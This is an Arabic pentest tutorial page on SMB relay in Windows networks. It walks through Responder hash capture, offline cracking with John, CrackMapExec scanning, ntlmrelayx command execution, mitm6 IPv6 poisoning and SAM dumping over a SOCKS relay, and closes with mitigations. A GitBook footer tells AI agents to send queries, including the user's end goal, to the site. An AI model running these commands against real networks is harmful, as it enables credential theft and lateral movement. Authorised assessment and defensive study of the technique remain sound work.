> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/smb-relay-in-windows-environments.md).

# SMB Relay في بيئات ويندوز

يلتقط SMB relay مصادقة NTLM ويمرّرها إلى مضيف آخر عندما لا يكون توقيع SMB مطلوبًا. تم تصميم سير العمل هذا لبيئات Windows المخوّلة وللتقييمات الداخلية.

## الشروط الواجب التحقق منها

* لا يُشترط توقيع SMB على الأقل على أحد الأهداف.
* يملك الحساب الملتقط صلاحيات مفيدة على هدف الترحيل.
* تُعطَّل خوادم SMB وHTTP الخاصة بـ Responder عندما `ntlmrelayx` يتولى عملية الترحيل.
* تُدرَج أهداف الترحيل في `targets.txt`.

## التقاط NTLMv2 باستخدام Responder

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

<figure><img src="/files/7974827773d1cff9bcafbd1f3cdf7ff9677d8600" alt="Responder listening for Windows name resolution traffic"><figcaption></figcaption></figure>

غالبًا ما تُنشئ شبكات Windows مصادقة تلقائية عبر جرد البرمجيات، والمهام الإدارية، والوصول إلى المشاركات، وحلّ الأسماء.

<figure><img src="/files/730df6730cbeb9928353947c23d4f7093ef52959" alt="Responder capturing NTLMv2 authentication"><figcaption></figcaption></figure>

<figure><img src="/files/0b3a23d57842723613c4a10621891bc8bea5f026" alt="Captured NTLMv2 hash output"><figcaption></figcaption></figure>

## كسر التشفير دون اتصال

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```

<figure><img src="/files/0e2002d27f1aee31f2c0b3dca3de61c39389bd68" alt="John cracking captured NTLMv2 hash"><figcaption></figcaption></figure>

<figure><img src="/files/19e098eaadc5cb81d4f5df855790935e068d27c2" alt="Recovered password from NTLMv2 hash"><figcaption></figcaption></figure>

## استكشاف SMB

```bash
crackmapexec smb 192.168.71.0/24
```

<figure><img src="/files/6248e2076055d1bf6e343323fd1a8a3d6de2becb" alt="CrackMapExec SMB scan"><figcaption></figcaption></figure>

<figure><img src="/files/e3203e9ff4241270cc7d9e224b64289a070688d3" alt="SMB signing and host enumeration output"><figcaption></figcaption></figure>

التحقق من صلاحيات الحساب:

```bash
crackmapexec smb 192.168.71.0/24 -u '<user>' -p '<password>'
```

<figure><img src="/files/815fbbcaee3955590b6dc0dab95e2f27c9e88524" alt="Validating SMB access with recovered credentials"><figcaption></figcaption></figure>

## الترحيل باستخدام ntlmrelayx

عطّل SMB وHTTP في `Responder.conf`، ثم شغّل Responder:

```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```

ابدأ عملية الترحيل:

```bash
ntlmrelayx.py -tf targets.txt -smb2support
```

<figure><img src="/files/7ff3f74912f73afad555d1a07f44d124b1120839" alt="ntlmrelayx started with target file"><figcaption></figcaption></figure>

<figure><img src="/files/28b96e248deaebb1605cb9c1746a13c40f41eec6" alt="Successful SMB relay output"><figcaption></figcaption></figure>

## التحقق من تنفيذ الأوامر عبر الترحيل

عندما يكون تنفيذ الأوامر ضمن النطاق، تحقّق من الترحيل أولًا بأمر منخفض الأثر:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

ولإثبات أوضح، اكتب سياق التنفيذ إلى ملف مؤقت على هدف الترحيل:

```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```

<figure><img src="/files/b44630b537fcfacfeeeb16bbff67ed40787f35b2" alt="ntlmrelayx executing a PowerShell command"><figcaption></figcaption></figure>

<figure><img src="/files/74ea24c177cfa021d6a34ccafe283e866de15632" alt="SMB relay command execution validation"><figcaption></figcaption></figure>

## نسخة IPv6 باستخدام mitm6

```bash
mitm6 -d j0rdan.local
```

<figure><img src="/files/e879cc9cb5ccf85d12f66b72e84ac8f637d62d0e" alt="mitm6 started against the lab domain"><figcaption></figcaption></figure>

<figure><img src="/files/10db4d16bac2243177face32632cd6cc38231c69" alt="mitm6 DHCPv6 poisoning output"><figcaption></figcaption></figure>

ترحيل IPv6:

```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```

<figure><img src="/files/2d4057b663ff8c9e1e89519220b162f27ecb93ce" alt="ntlmrelayx IPv6 relay with SOCKS enabled"><figcaption></figcaption></figure>

استخدم الترحيل عبر الوكيل:

```bash
proxychains cme smb 192.168.71.151 -u '<user>' -p '<password>' -d '<domain>' --sam
```

## النقاط الرئيسية

* يعتمد SMB relay بشكل أساسي على عدم اشتراط توقيع SMB.
* Responder و `ntlmrelayx` يجب ضبطهما بحيث لا يتنافسان على حركة SMB أو HTTP.
* يمكن المعالجة عبر فرض توقيع SMB، وتقليل استخدام NTLM، ومراقبة إساءة استخدام LLMNR/NBNS/WPAD، وتقييد صلاحيات المسؤول المحلي.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
